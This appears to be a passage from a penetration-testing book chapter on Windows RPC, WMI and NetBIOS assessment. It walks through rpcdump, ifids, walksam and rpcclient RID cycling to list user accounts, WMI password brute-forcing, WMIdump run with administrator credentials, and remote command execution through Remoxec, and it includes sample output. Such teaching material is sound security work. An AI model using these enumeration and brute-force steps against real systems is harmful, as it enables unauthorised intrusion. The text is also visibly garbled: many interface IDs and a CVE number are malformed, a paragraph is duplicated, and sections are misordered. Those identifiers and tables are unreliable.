int 1ff70682-0a51-30e8-076d-740be8cee98b v1.0
  binding 00000000-000000000000@ncalrpc:\[LRPC00000284.00000001]
  annot ''
int 1ff70682-0a51-30e8-076d-740be8cee98b v1.0
  binding 00000000-000000000000@ncacn_ip_udp:62.232.8.1[1025]
  annot ''
int 1ff70682-0a51-30e8-076d-740be8cee98b v1.0
  binding 00000000-000000000000@ncacn_ip_tcp:192.168.170.1[1025]
  annot ''
int 1ff70682-0a51-30e8-076d-740be8cee98b v1.0
  binding 00000000-000000000000@ncacn_ip_tcp:192.168.189.1[1025]
  annot ''
int 1ff70682-0a51-30e8-076d-740be8cee98b v1.0
  binding 00000000-000000000000@ncacn_ip_tcp:192.168.0.1[1025]
  annot ''
int 378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0
  binding 00000000-000000000000@ncalrpc:\[LRPC00000284.00000001]
  annot ''
int 378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0
  binding 00000000-000000000000@ncacn_ip_tcp:62.232.8.1[1025]
  annot ''
int 378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0
  binding 00000000-000000000000@ncacn_ip_tcp:192.168.170.1[1025]
  annot ''
int 378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0
  binding 00000000-000000000000@ncacn_ip_tcp:192.168.189.1[1025]
  annot ''
int 378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0
  binding 00000000-000000000000@ncacn_ip_tcp:192.168.0.1[1025]
  annot ''
int 5a7b9f18-ff00-11d0-a9b2-00c04fb666fc v1.0
  binding 00000000-000000000000@ntsvcs
  annot 'Messenger Service'
int 5a7b9f18-ff00-11d0-a9b2-00c04fb666fc v1.0
  binding 00000000-000000000000@ncacn_np:\:\WEBSERV\\PIPE\ntsvcs
  annot 'Messenger Service'
int 5a7b9f18-ff00-11d0-a9b2-00c04fb666fc v1.0
  binding 00000000-000000000000@ncacn_np:\:\WEBSERV\\PIPE\scerpc
  annot 'Messenger Service'
int 5a7b9f18-ff00-11d0-a9b2-00c04fb666fc v1.0
  binding 00000000-000000000000@ntsvcs
  annot 'DNS Resolver'
The responses to this query show that the NetBIOS name of the host is WEBSERV, and there are four network interfaces with the following IP addresses:

- 62.232.8.1
- 192.168.0.1
- 192.168.170.1
- 192.168.189.1

Analysis of the RPC services that are running reveals that the Messenger Service is accessible through UDP port 1028, along with two named pipes: \PIPE\ntsvcs and \PIPE\scerpc. Named pipes are accessible through SMB upon authenticating with the NetBIOS session or CIFS services.

Servers running Microsoft Exchange return many details of subsystems that are run as RPC services, and so hundreds of results are returned when using tools such as `epdump` and `rpcdump`. The useful information includes details of internal network interfaces and RPC services running on high dynamic ports, which you can use to clarify port scan results.

Many of the RPC services listed through `epdump` don’t have a plaintext annotation (as the Messenger service does in Example 10-1). An example of an accessible RPC service listed without annotation is as follows:

```plaintext
annot ''
int 1ff70682-0a51-30e8-076d-740be8ce98b v1.0
  binding 00000000-000000000000@ncacn_ip_tcp:192.168.189.1[1025]
annot 'Messenger Service'
```

From this information you can see that this is an RPC endpoint accessible through TCP port 1025 on 192.168.189.1, but there is only a 128-bit hex string to identify the service. This string is known as the interface ID (IFID) value.
**rpctools (rpcdump and ifids)**

Todd Sabin wrote two Windows utilities (*rpcdump* and *ifids*), used to query the RPC endpoint mapper using specific protocol sequences and to query specific RPC endpoints directly. The *rpcdump* tool can enumerate RPC service information through various protocol sequences. Its usage is as follows:

```
rpcdump [-v] [-p protseq] target
```

One of four protocol sequences can be used to access the RPC endpoint mapper, as follows:

- `ncacn_np` (*\pipe\epmapper* named pipe through SMB)
- `ncacn_ip_tcp` (direct access to TCP port 135)
- `ncadg_ip_udp` (direct access to UDP port 135)
- `ncacn_http` (RPC over HTTP on TCP port 80, 593, or others)

The `-v` option enables verbosity so that *rpcdump* will enumerate all registered RPC interfaces. The `-p` option allows you to specify a particular protocol sequence to use for talking to the endpoint mapper. If none is specified, *rpcdump* tries all four protocol sequences.

*rpcdump* can be run much like *epdump* from the command line to dump details of network interfaces, IP addresses, and RPC servers. Example 10-2 shows *rpcdump* running to list all registered RPC endpoints through TCP port 135.

**Example 10-2. Using rpcdump to enumerate RPC interfaces**

```D:\rpctools> rpcdump 192.168.189.1
IfId: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp::192.168.189.1[1028]

IfId: 1ff70682-0af1-30e8-076d-740be8ee98b version 1.0
Annotation:
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncalrpc::[LRPC00000290.00000001]

IfId: 1ff70682-0a51-30e8-076d-740be8ee98b version 1.0
Annotation:
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncacn_ip_tcp::192.168.0.1[1025]
```

Using the verbose flag, you can walk and enumerate all IFID values for each registered endpoint. First, port 135 is queried, followed by each registered endpoint (UDP port 1028, TCP port 1025, etc.). Example 10-3 shows *rpcdump* used in this way to fully list all registered RPC endpoints and interfaces.
If you can’t connect to the portmapper through TCP port 135, use UDP port 135 to enumerate registered RPC endpoints with the \texttt{-p ncadg\_ip\_udp} option, shown in Example 10-4.

Example 10-3. Fully listing all registered RPC endpoints and interfaces

D:\rpctools> \texttt{rpcdump -v 192.168.189.1}
IfId: 5a7b91f8-ff00-11d0-a9b2-00c04f666fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg\_ip\_udp:192.168.189.1[1028]
RpcMgmtInqIfIds succeeded
Interfaces: 16
367abb81-9844-35f1-ad32-98f038001003 v2.0
93149ca2-973b-11d1-8c39-00c04f984f9 v0.0
82273fde-e32a-18c3-3f78-827929dc23ea v0.0
65a93890-fa09-43a3-b2a5-1e330ac28f11 v2.0
8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0
6bff0d98-a112-3610-9833-46c3f87e45a v1.0
8d0ff77e-d252-11d0-bf8f-00c04f92626b v1.0
c937fbb-1d67-11d0-a0b2-00a06a3126a v1.0
0d72a7d4-6148-11d1-b4aa-00c04f666ea0 v1.0
4b324f6c-1670-01d3-1278-5a476f6ee188 v3.0
300f3532-38cc-11d0-a3f0-0020af60add v1.2
6bff0d98-a112-3610-9833-01289202162 v0.0
1ffdd703-1827-4e34-79d4-24a55c53bb37 v1.0
5a7b91f8-ff00-11d0-a9b2-00c04f666fc v1.0
3ba0ffcc-93fc-11d0-a4ec-00a0c09062910 v1.0
8c7da4a4-86dc-11d1-94ac-0020af6e7c57 v1.0

IfId: 1ff70682-0a51-30e8-076d-740be8ce98b version 1.0
Annotation: ncacncp:\[]\LRPC00000290.0000001\[

IfId: 1ff70682-0a51-30e8-076d-740be8ce98b version 1.0
Annotation: ncacncp:\[]\LRPC00000290.0000001\[
RpcMgmtInqIfIds succeeded
Interfaces: 2
1ff70682-0a51-30e8-076d-740be8ce98b v1.0
3f6e52b0-0c09-11cf-822d-00aa0051e40f v1.0

If you can’t connect to the portmapper through TCP port 135, use UDP port 135 to enumerate registered RPC endpoints with the \texttt{-p ncadg\_ip\_udp} option, shown in Example 10-4.

Example 10-4. Listing registered RPC endpoints through UDP port 135

D:\rpctools> \texttt{rpcdump -p ncadg\_ip\_udp 192.168.189.1}
IfId: 5a7b91f8-ff00-11d0-a9b2-00c04f666fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg\_ip\_udp:192.168.189.1[1028]
The `ifids` utility queries specific RPC endpoints (such as UDP 1029 or TCP 1025) to identify accessible services. A practical application of the `ifids` utility is to enumerate RPC services running on high ports when the RPC portmapper service isn’t accessible.

The `ifids` usage is:

```
ifids [-p protseq] [-e endpoint] target
```

The `-p` option specifies which protocol sequence to use when talking to the server, and the `-e` option specifies which port to connect to. In Example 10-5, I use `ifids` to connect to TCP port 1025 and list the accessible interfaces.

Example 10-5. Enumerating interface information using `ifids`

```
D:\rpctools> ifids -p ncacn_ip_tcp -e 1025 192.168.189.1
Interfaces: 2
  1ff70682-0a51-30e8-076d-740be8cee98b v1.0
  378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0
```

By referring to the list of known IFID values, you can see that these two interfaces are Microsoft Task Scheduler (`mstask.exe`) listeners. Example 10-6 shows how to use the `ifids` tool to enumerate the IFID values of RPC services accessible through UDP port 1028.

Example 10-6. Enumerating interfaces accessible through UDP port 1028

```
D:\rpctools> ifids -p ncadg_ip_udp -e 1028 192.168.189.1
Interfaces: 16
  367abb81-9844-35f1-ad32-98f03801003 v2.0
  9114e2a9-b73b-11d1-8c39-00c04fb884f9 v0.0
  822773dc-3f78-18c3-827992923ea v0.0
  65a93890-fab9-4a3a-b2a5-1e350ac28f11 v2.0
  8d9f6e40-a03d-11ce-8f6d-08003e30051b v1.0
  6bfff098-112-3610-9833-46c3f87e345a v1.0
  8d0fffe2-d252-11d0-bf8f-00c04fd9126b v1.0
  c9378ff1-16f7-11d0-a0b2-00aa0061426a v1.0
  0d72a7da-6148-11d1-b4aa-00c04f3b66ea0 v1.0
  4bd324fc8-1670-10d3-1278-5a47f6e1ee88 v3.0
  300f3532-38cc-11d0-a3f0-0020af6b0add v1.2
```
RpcScan

Uriy (http://www.securityfriday.com) wrote a graphical Windows version of the rpcdump tool called RpcScan. In the same way rpcdump -v works, RpcScan queries each registered RPC endpoint and enumerates all the IFID values. Uriy spent time researching IFID values and idiosyncrasies, referencing them in the RpcScan output. Figure 10-1 shows the tool in use against 192.168.189.1.

Identifying Vulnerable RPC Server Interfaces

Upon enumerating accessible RPC endpoints and associated IFID values, it is necessary to cross-reference them with known Microsoft RPC service issues, and further test them using exploitation frameworks and similar tools. Table 10-1 lists IFID values that have known remotely exploitable issues, as found in MITRE CVE.
Table 10-2 lists other useful IFID values that can be used to enumerate users, perform password grinding, and execute commands.

**Table 10-1. IFID values with known remotely exploitable issues**

<table>
<thead>
<tr>
<th>IFID</th>
<th>Service details</th>
<th>CVE reference(s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>12345678-1234-abcd-ef00-0123456789ab</td>
<td>Print spooler service</td>
<td>CVE-2005-1984</td>
</tr>
<tr>
<td>17fd703-1827-4e34-7964-24a55c53bb37</td>
<td>Messenger service</td>
<td>CVE-2003-0717</td>
</tr>
<tr>
<td>25f3220-c126-1076-b549-074d078619da</td>
<td>NetDDE service</td>
<td>CVE-2004-206</td>
</tr>
<tr>
<td>25f6520-ca46-1067-b319-000d10662da</td>
<td>Telephony service</td>
<td>CVE-2005-0058</td>
</tr>
<tr>
<td>342cfd40-3c6c-11ce-a893-08002b2e9c6d</td>
<td>License and Logging Service (LLSRV) interface</td>
<td>CVE-2005-0050</td>
</tr>
<tr>
<td>3912586a-b10c-11d0-9ba8-00c40f92e5f</td>
<td>LSASS interface</td>
<td>CVE-2003-0533</td>
</tr>
<tr>
<td>4b324f6c-1670-01d3-1278-5a47fb0ee188</td>
<td>Server service</td>
<td>CVE-2005-0051</td>
</tr>
<tr>
<td>4d9f4ab8-7d1c-11cf-861e-0020af6e7c57</td>
<td>DCOM interface</td>
<td>CVE-2006-3439</td>
</tr>
<tr>
<td>50abc2a4-574d-40b3-9d66-ee4fd5fba076</td>
<td>DNS server service</td>
<td>CVE-2007-1748</td>
</tr>
<tr>
<td>5a79891f-ff00-11d0-a9b2-00c40f6ee6fc</td>
<td>Messenger service</td>
<td>CVE-2003-0717</td>
</tr>
<tr>
<td>6b0f9d08-a112-3610-9b33-46c3rbe345a</td>
<td>Workstation service</td>
<td>CVE-2003-0812</td>
</tr>
<tr>
<td>8d9f4e40-a03d-11ce-8f69-08003e50051b</td>
<td>Plug and Play service</td>
<td>CVE-2005-1983</td>
</tr>
<tr>
<td>8f09f000-b7ed-11ce-bbd2-00001a181cad</td>
<td>Remote Access Service Manager (RASMAN) interface</td>
<td>CVE-2006-2370</td>
</tr>
<tr>
<td>c8b76b7-76d3-11da-95b8-00004682e16</td>
<td>WebDAV client service</td>
<td>CVE-2006-0013</td>
</tr>
<tr>
<td>d6d70e0-0e3b-11cb-ac3c-08002b1d29c3</td>
<td>RPC locator service</td>
<td>CVE-2003-0003</td>
</tr>
<tr>
<td>e67ab961-9844-3521-9d32-834f038010c0</td>
<td>Client service for NetWare</td>
<td>CVE-2005-1985</td>
</tr>
<tr>
<td>e1abf830-52f-11c9-91a4-08002b140fa</td>
<td>RPC endpoint mapper</td>
<td>CVE-2006-4688</td>
</tr>
<tr>
<td>fdbb8a30-0606-11d1-1b9-00a20ea5525</td>
<td>Message Queuing (MQ) and MSDTC services</td>
<td>CVE-2002-1561</td>
</tr>
<tr>
<td></td>
<td></td>
<td>CVE-2005-0059</td>
</tr>
<tr>
<td></td>
<td></td>
<td>CVE-2005-2119</td>
</tr>
<tr>
<td></td>
<td></td>
<td>CVE-2006-0034</td>
</tr>
<tr>
<td></td>
<td></td>
<td>CVE-2006-1184</td>
</tr>
</tbody>
</table>
If administrative credentials are known (such as the Administrator account password), the LSA and SAMR interfaces can be used to add users and elevate rights and privileges accordingly. These commands and issues are discussed in the following sections.

I only cover Microsoft RPC endpoints with significant security implications here. Jean-Baptiste Marchand has assembled an excellent series of documents that cover Microsoft RPC interfaces and named pipe endpoints. His “Windows network services internals” page should be reviewed for current up-to-date details of Microsoft RPC issues, accessible at http://www.hsc.fr/ressources/articles/win_net_srv/.

**Microsoft RPC interface process manipulation bugs**

A number of remotely exploitable RPC interface issues have been publicized over recent years, as listed in Table 10-3.

<table>
<thead>
<tr>
<th>CVE reference(s)</th>
<th>Advisory</th>
<th>Notes</th>
<th>Exploit framework support</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-1748</td>
<td>MS07-029</td>
<td>DNS server service interface zone name overflow</td>
<td>✓</td>
</tr>
<tr>
<td>CVE-2006-4691</td>
<td>MS06-070</td>
<td>Workstation service overflow</td>
<td>✓</td>
</tr>
<tr>
<td>CVE-2006-4688</td>
<td>MS06-066</td>
<td>Microsoft Netware client service overflow</td>
<td>✓</td>
</tr>
<tr>
<td>CVE-2006-3439</td>
<td>MS06-040</td>
<td>Server service overflow</td>
<td>✓</td>
</tr>
<tr>
<td>CVE-2006-2371</td>
<td>MS06-025</td>
<td>Remote Access Service Manager (RASMAN) registry corruption vulnerability</td>
<td>✓</td>
</tr>
</tbody>
</table>
A number of these issues, including CVE-2006-3439 (Server service overflow) and CVE-2003-0533 (LSASS overflow) are also exploitable through named pipes, depending on configuration and network filtering, accessible via NetBIOS (TCP port 139) and CIFS (TCP port 445). CVE-2003-0818 is exploitable through any mechanism supporting NTLM authentication, including NetBIOS (SMB), HTTP, and SMTP.

**Gleaning User Details via SAMR and LSARPC Interfaces**

A number of RPC queries can be issued to accessible LSARPC and SAMR RPC service endpoints (running over TCP, UDP, HTTP, or named pipes). Named pipes access is provided across SMB sessions, accessible via the NetBIOS session service (TCP port 139), and CIFS service (TCP port 445).
The `walksam` utility (found in Todd Sabin’s `rpctools` package) queries the SAMR named pipe interface (`pipe\samr`) to glean user information. Example 10-7 shows `walksam` being used across a local Windows network to walk the SAMR interface of 192.168.1.1.

**Example 10-7. Using walksam over SMB and named pipes**

```bash
D:\rpctools> walksam 192.168.1.1
rid 500: user Administrator
Userid: Administrator
Description: Built-in account for administering the computer/domain
Last Logon: 8/12/2003 19:16:44.375
Last Logoff: never
Last Passwd Change: 8/13/2002 18:43:52.468
Acct. Expires: never
Allowed Passwd Change: 8/13/2002 18:43:52.468
Rid: 500
Primary Group Rid: 513
Flags: 0x210
Fields Present: 0xffffff
Bad Password Count: 0
Num Logons: 101

rid 501: user Guest
Userid: Guest
Description: Built-in account for guest access to the computer/domain
Last Logon: never
Last Logoff: never
Last Passwd Change: never
Acct. Expires: never
Allowed Passwd Change: never
Rid: 501
Primary Group Rid: 513
Flags: 0x215
Fields Present: 0xffffff
Bad Password Count: 0
Num Logons: 0
```

The `walksam` utility also supports additional protocol sequences used by Windows 2000 Domain Controllers. The SAMR interface must first be found (IFID 12345778-1234-abcd-ef00-0123456789ac) using `rpcdump` or a similar tool to list all the registered endpoints; it’s then accessed using `walksam` with the correct protocol sequence (over named pipes, TCP, UDP, or HTTP).

Windows enumeration tools, such as `walksam`, that use RID cycling to list users (through looking up RID 500, 501, 502, etc.) identify the `administrator` account, even if it has been renamed.
Example 10-8 shows `walksam` in use against a Windows 2000 domain controller running a SAMR interface through the `ncacn_ip_tcp` endpoint at TCP port 1028.

Example 10-8. Using walksam to list user details through TCP port 1028

D:\rpctools> walksam -p ncacn_ip_tcp -e 1028 192.168.1.10
rid 500: user Administrator
Userid: Administrator
Description: Built-in account for administering the computer/domain
Last Logon: 8/6/2003 11:42:12.725
Last Logoff: never
Acct. Expires: never
Rid: 500
Primary Group Rid: 513
Flags: 0x210
Fields Present: Ox0ffffff
Bad Password Count: 0
Num Logons: 101

Table 10-4. Useful rpcclient commands

<table>
<thead>
<tr>
<th>Command</th>
<th>Interface</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>queryuser</td>
<td>SAMR</td>
<td>Retrieve user information</td>
</tr>
<tr>
<td>querygroup</td>
<td>SAMR</td>
<td>Retrieve group information</td>
</tr>
<tr>
<td>querydominfo</td>
<td>SAMR</td>
<td>Retrieve domain information</td>
</tr>
<tr>
<td>enumdomusers</td>
<td>SAMR</td>
<td>Enumerate domain users</td>
</tr>
<tr>
<td>enumdomgroups</td>
<td>SAMR</td>
<td>Enumerate domain groups</td>
</tr>
<tr>
<td>createdomuser</td>
<td>SAMR</td>
<td>Create a domain user</td>
</tr>
<tr>
<td>deletedomuser</td>
<td>SAMR</td>
<td>Delete a domain user</td>
</tr>
<tr>
<td>lookupnames</td>
<td>LSARPC</td>
<td>Look up usernames to SID values</td>
</tr>
</tbody>
</table>
Example 10-9 shows `rpcclient` in use against a remote system at 192.168.0.25 to perform RID cycling and enumerate users through the LSARPC named pipe (`\pipe\lsarpc`). In this example we first look up the full SID value of the `chris` account, and then increment the RID value (1001 through to 1007) to enumerate the other user accounts through the LSARPC interface.

Example 10-9. RID cycling through `rpcclient` and the LSARPC interface

```
$ rpcclient -I 192.168.0.25 -U=chris%password WEBSERV
rpcclient> lookupnames chris
chris S-1-5-21-1177238915-1563985344-1957994488-1003 (User: 1)
rpcclient> lookupsids S-1-5-21-1177238915-1563985344-1957994488-1001
S-1-5-21-1177238915-1563985344-1957994488-1001 WEBSERV\IUSR_WEBSERV
rpcclient> lookupsids S-1-5-21-1177238915-1563985344-1957994488-1002
S-1-5-21-1177238915-1563985344-1957994488-1002 WEBSERV\IWAM_WEBSERV
rpcclient> lookupsids S-1-5-21-1177238915-1563985344-1957994488-1003
S-1-5-21-1177238915-1563985344-1957994488-1003 WEBSERV\chris
rpcclient> lookupsids S-1-5-21-1177238915-1563985344-1957994488-1004
S-1-5-21-1177238915-1563985344-1957994488-1004 WEBSERV\donald
rpcclient> lookupsids S-1-5-21-1177238915-1563985344-1957994488-1005
S-1-5-21-1177238915-1563985344-1957994488-1005 WEBSERV\test
rpcclient> lookupsids S-1-5-21-1177238915-1563985344-1957994488-1006
S-1-5-21-1177238915-1563985344-1957994488-1006 WEBSERV\daffy
rpcclient> lookupsids S-1-5-21-1177238915-1563985344-1957994488-1007
result was NT_STATUS_NONE_MAPPED
```

Alternatively, you can use the `enumdomusers` command to simply list all users through a forward lookup (this technique will not work if `RestrictAnonymous=1`, and RID cycling must be used), as shown in Example 10-10.

Example 10-10. Enumerating users through the SAMR interface

```
rpcclient> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[chris] rid:[0x3eb]
user:[daffy] rid:[0x3ee]
user:[donald] rid:[0x3ec]
user:[Guest] rid:[0x3f5]
user:[IUSR_WEBSERV] rid:[0x3e9]
user:[IWAM_WEBSERV] rid:[0x3ea]
user:[test] rid:[0x3ed]
user:[TsInternetUser] rid:[0x3e8]
```

---

**Table 10-4. Useful `rpcclient` commands (continued)**

<table>
<thead>
<tr>
<th>Command</th>
<th>Interface</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>lookupsids</td>
<td>LSARPC</td>
<td>Look up SIDs to usernames (RID cycling)</td>
</tr>
<tr>
<td>lsaddacctrights</td>
<td>LSARPC</td>
<td>Add rights to a user account</td>
</tr>
<tr>
<td>lsremoveacctrights</td>
<td>LSARPC</td>
<td>Remove rights from a user account</td>
</tr>
</tbody>
</table>
The *rpcclient* tool is extremely powerful and versatile; it allows user accounts to be created remotely and privileges to be elevated. However, this functionality requires a valid username and password combination, often necessitating the use of brute force.

**SMB null sessions and hardcoded named pipes**

Jean-Baptiste Marchand posted an advisory to BugTraq on July 7, 2005 (http://marc.info/?l=bugtraq&m=112076409813099&w=2), describing a flaw within Windows 2003 SP1, Windows XP SP2, Windows 2000 SP4, and Windows NT 4.0 systems, allowing for an anonymous SMB null session to be established with NetBIOS and CIFS services, which in turn can be used to anonymously access RPC server named pipe interfaces, as follows:

- **Local Security Authority (LSA)** RPC server (`\pipe\lsarpc`)
- **LSA Security Account Manager (SAM)** RPC server (`\pipe\samr`)
- **LSA Netlogon** RPC server (`\pipe\ntlogon`)
- **Service Control Manager (SCM)** RPC server (`\pipe\svcctl`)
- **Eventlog service** RPC server (`\pipe\eventlog`)
- **Server service** RPC server (`\pipe\svrsvc`)
- **Workstation service** RPC server (`\pipe\wkssvc`)

These service endpoints can be queried using tools such as Samba *rpcclient*, allowing remote unauthenticated attackers to enumerate users and groups, view running services, and view the server event logs under Windows NT 4.0 and Windows 2000 SP4 in their default configurations. Windows Server 2003 Active Directory and domain controllers are also susceptible, although Windows XP SP2 is largely shielded from these vulnerabilities.

Jean-Baptiste Marchand’s presentation covering null sessions and RPC named pipes is available from http://www.hsc.fr/ressources/presentations/null_sessions/. He discusses hardcoded named pipes that are present in Windows XP SP1 and earlier, and how these can be used to proxy RPC queries and commands to other RPC named pipe interfaces that run within the same service instance server-side.

**Brute-Forcing Administrator Passwords**

In 2002, the Chinese hacking group netXeyes developed WMICracker (http://www.netxeyes.org/WMICracker.exe). The tool accesses DCOM Windows Management Interface (WMI) components to brute-force passwords of users in the *Administrators* group.

Example 10-11 shows WMICracker in use against port 135 of 192.168.189.2 to brute-force the Administrator password using the dictionary file `words.txt`. 

---

270 | Chapter 10: Assessing Windows Networking Services
The *venom* utility also brute-forces user passwords across WMI. At the time of writing, *venom* is available at [http://www.cqure.net/tools/venom-win32-1_1_5.zip](http://www.cqure.net/tools/venom-win32-1_1_5.zip).

**Enumerating System Details Through WMI**

WMIdump ([http://www.cqure.net/wp/?page_id=28](http://www.cqure.net/wp/?page_id=28)) is a Windows tool that can be used to query the WMI subsystem and dump useful internal system information. At the time of writing, the current binary is available from [http://www.cqure.net/tools/wmidump-dotnet-1_3_0.zip](http://www.cqure.net/tools/wmidump-dotnet-1_3_0.zip).

In particular, WMIdump is used to enumerate the following for a given Windows host:

- Operating system and computer details
- System accounts and users
- Installed hotfixes
- Running processes
- Running services and settings
- Installed software and patch levels
- Network adapters installed and associated settings
- Serial port and modem settings
- Logical disks

WMIdump is shown in Example 10-12 dumping system details, including user accounts, from the remote host over WMI.

**Example 10-12. Using WMIdump to enumerate valid user details**

```
C:\> WMIdump -c config\standard.config -u Administrator -p control -t 192.168.189.2
WMIDump v1.3.0 by patrik@cqure.net
--------------------------------------------------------
Dumping 192.168.189.2:Win32_Process
Dumping 192.168.189.2:Win32_LogicalDisk
```
Example 10-12. Using WMIdump to enumerate valid user details (continued)

Dumping 192.168.189.2:Win32_NetworkConnection
Dumping 192.168.189.2:Win32_ComputerSystem
Dumping 192.168.189.2:Win32_OperatingSystem
Dumping 192.168.189.2:Win32_Service
Dumping 192.168.189.2:Win32_SystemUsers
Dumping 192.168.189.2:Win32_ScheduledJob
Dumping 192.168.189.2:Win32_Share
Dumping 192.168.189.2:Win32_SystemAccount
Dumping 192.168.189.2:Win32_LogicalProgramGroup
Dumping 192.168.189.2:Win32_Desktop
Dumping 192.168.189.2:Win32_Environment
Dumping 192.168.189.2:Win32_SystemDriver
Dumping 192.168.189.2:Win32_NetworkClient
Dumping 192.168.189.2:Win32_NetworkProtocol
Dumping 192.168.189.2:Win32_ComputerSystemProduct
Dumping 192.168.189.2:Win32_QuickFixEngineering

C:\> dir 192.168.189.2
Volume in drive C is HARDDISK
Volume Serial Number is 846A-8EA9

Directory of C:\192.168.189.2

08/07/2007  17:52    <DIR>          .
08/07/2007  17:52    <DIR>          ..
08/07/2007  17:52       1,183 Win32_ComputerSystem.dmp
08/07/2007  17:52       196 Win32_ComputerSystemProduct.dmp
08/07/2007  17:52       912 Win32_Desktop.dmp
08/07/2007  17:52       2,747 Win32_Environment.dmp
08/07/2007  17:52       768 Win32_LogicalDisk.dmp
08/07/2007  17:52      18,387 Win32_LogicalProgramGroup.dmp
08/07/2007  17:52       717 Win32_NetworkClient.dmp
08/07/2007  17:52        0 Win32_NetworkConnection.dmp
08/07/2007  17:52       6,655 Win32_NetworkProtocol.dmp
08/07/2007  17:52       1,573 Win32_OperatingSystem.dmp
08/07/2007  17:52      24,848 Win32_Process.dmp
08/07/2007  17:52       17,032 Win32_QuickFixEngineering.dmp
08/07/2007  17:52        0 Win32_ScheduledJob.dmp
08/07/2007  17:52       38,241 Win32_Service.dmp
08/07/2007  17:52       274 Win32_Share.dmp
08/07/2007  17:52       2,382 Win32_SystemAccount.dmp
08/07/2007  17:52       55,184 Win32_SystemDriver.dmp
08/07/2007  17:52        1,262 Win32_SystemUsers.dmp
18 File(s)  172,361 bytes
2 Dir(s)   103,497,728 bytes free

C:\> type 192.168.189.2\Win32_SystemUsers.dmp
GroupComponent;PartComponent;
\WEBSERV\root\cimv2:Win32_ComputerSystem.Name="WEBSERV";\WEBSERV\root\cimv2:Win32_ComputerSystem.Name="WEBSERV";\WEBSERV\root\cimv2:Win32_UserAccount.Name="Administrator",Domain="OFFICE";\WEBSERV\root\cimv2:Win32_ComputerSystem.Name="WEBSERV";\WEBSERV\root\cimv2:Win32_UserAccount.Name="ASPNET",Domain="OFFICE";
Executing Arbitrary Commands

After compromising a valid password of a user in the Administrators group, you can execute commands through the Task Scheduler interface. To do so, Urity developed a Windows utility called Remoxec; it’s available from http://www.securityfriday.com and the O’Reilly tools archive at http://examples.oreilly.com/networksa/tools/remoxec101.zip. Figure 10-2 shows the tool in use; it requires the target IP address and valid credentials.

Example 10-12. Using WMIdump to enumerate valid user details (continued)

```plaintext
\WEBSERV\root\cimv2:Win32_ComputerSystem.Name="WEBSERV";\WEBSERV\root\cimv2:Win32_UserAccount.Name="Guest",Domain="OFFICE";
\WEBSERV\root\cimv2:Win32_ComputerSystem.Name="WEBSERV";\WEBSERV\root\cimv2:Win32_UserAccount.Name="__vmware_user__",Domain="OFFICE";
```

Figure 10-2. Remoxec is used to run commands remotely

The NetBIOS Name Service

The NetBIOS name service is accessible through UDP port 137. The service processes NetBIOS Name Table (NBT) requests in environments where Windows is being used along with workgroups, domains, or Active Directory components.
Enumerating System Details

You can easily enumerate the following system details by querying the name service:

- NetBIOS hostname
- The domain of which the system is a member
- Authenticated users currently using the system
- Accessible network interface MAC addresses

The inbuilt Windows `nbtstat` command can enumerate these details remotely. Example 10-13 shows how it can be run against 192.168.189.1.

Example 10-13. Using nbtstat to dump the NetBIOS name table

```
C:\> nbtstat -A 192.168.189.1

NetBIOS Remote Machine Name Table

Name               Type         Status
---------------------------------------------
WEBSERV        <00>  UNIQUE      Registered
WEBSERV        <20>  UNIQUE      Registered
OSG-WHQ        <00>  GROUP       Registered
OSG-WHQ        <1D>  UNIQUE      Registered
OSG-WHQ        <1E>  GROUP       Registered
__MSBROWSE__   <01>  GROUP       Registered
WEBSERV        <03>  UNIQUE      Registered
__VMWARE_USER__<03>  UNIQUE      Registered
ADMINISTRATOR  <03>  UNIQUE      Registered

MAC Address = 00-50-56-C0-A2-09
```

The information shown in Example 10-13 shows that the hostname is WEBSERV, the domain is OSG-WHQ, and two current users are __vmware_user__ and administrator. Table 10-5 lists common NetBIOS name codes and descriptions.

Table 10-5. Common NetBIOS Name Table names and descriptions

<table>
<thead>
<tr>
<th>NetBIOS code</th>
<th>Type</th>
<th>Information obtained</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt;00&gt;</td>
<td>UNIQUE</td>
<td>Hostname</td>
</tr>
<tr>
<td>&lt;00&gt;</td>
<td>GROUP</td>
<td>Domain name</td>
</tr>
<tr>
<td>&lt;host name&gt;&lt;03&gt;</td>
<td>UNIQUE</td>
<td>Messenger service running for that computer</td>
</tr>
<tr>
<td>&lt;user name&gt;&lt;03&gt;</td>
<td>UNIQUE</td>
<td>Messenger service running for that individual logged-in user</td>
</tr>
<tr>
<td>&lt;20&gt;</td>
<td>UNIQUE</td>
<td>Server service running</td>
</tr>
<tr>
<td>&lt;1D&gt;</td>
<td>GROUP</td>
<td>Master browser name for the subnet</td>
</tr>
<tr>
<td>&lt;1B&gt;</td>
<td>UNIQUE</td>
<td>Domain master browser name, identifies the PDC for that domain</td>
</tr>
</tbody>
</table>
Attacking the NetBIOS Name Service

The NetBIOS name service is vulnerable to a number of attacks if UDP port 137 is accessible from the Internet or an untrusted network. MITRE CVE lists these issues, shown in Table 10-6.

Table 10-6. NetBIOS name service vulnerabilities

<table>
<thead>
<tr>
<th>CVE name</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0661</td>
<td>03/09/2003</td>
<td>NBNS in Windows NT 4.0, 2000, XP, and Server 2003 may include random memory in a response to a NBNS query, which can allow remote attackers to obtain sensitive information.</td>
</tr>
<tr>
<td>CVE-2000-0673</td>
<td>27/07/2000</td>
<td>NBNS doesn’t perform authentication, which allows remote attackers to cause a denial-of-service by sending a spoofed Name Conflict or Name Release datagram.</td>
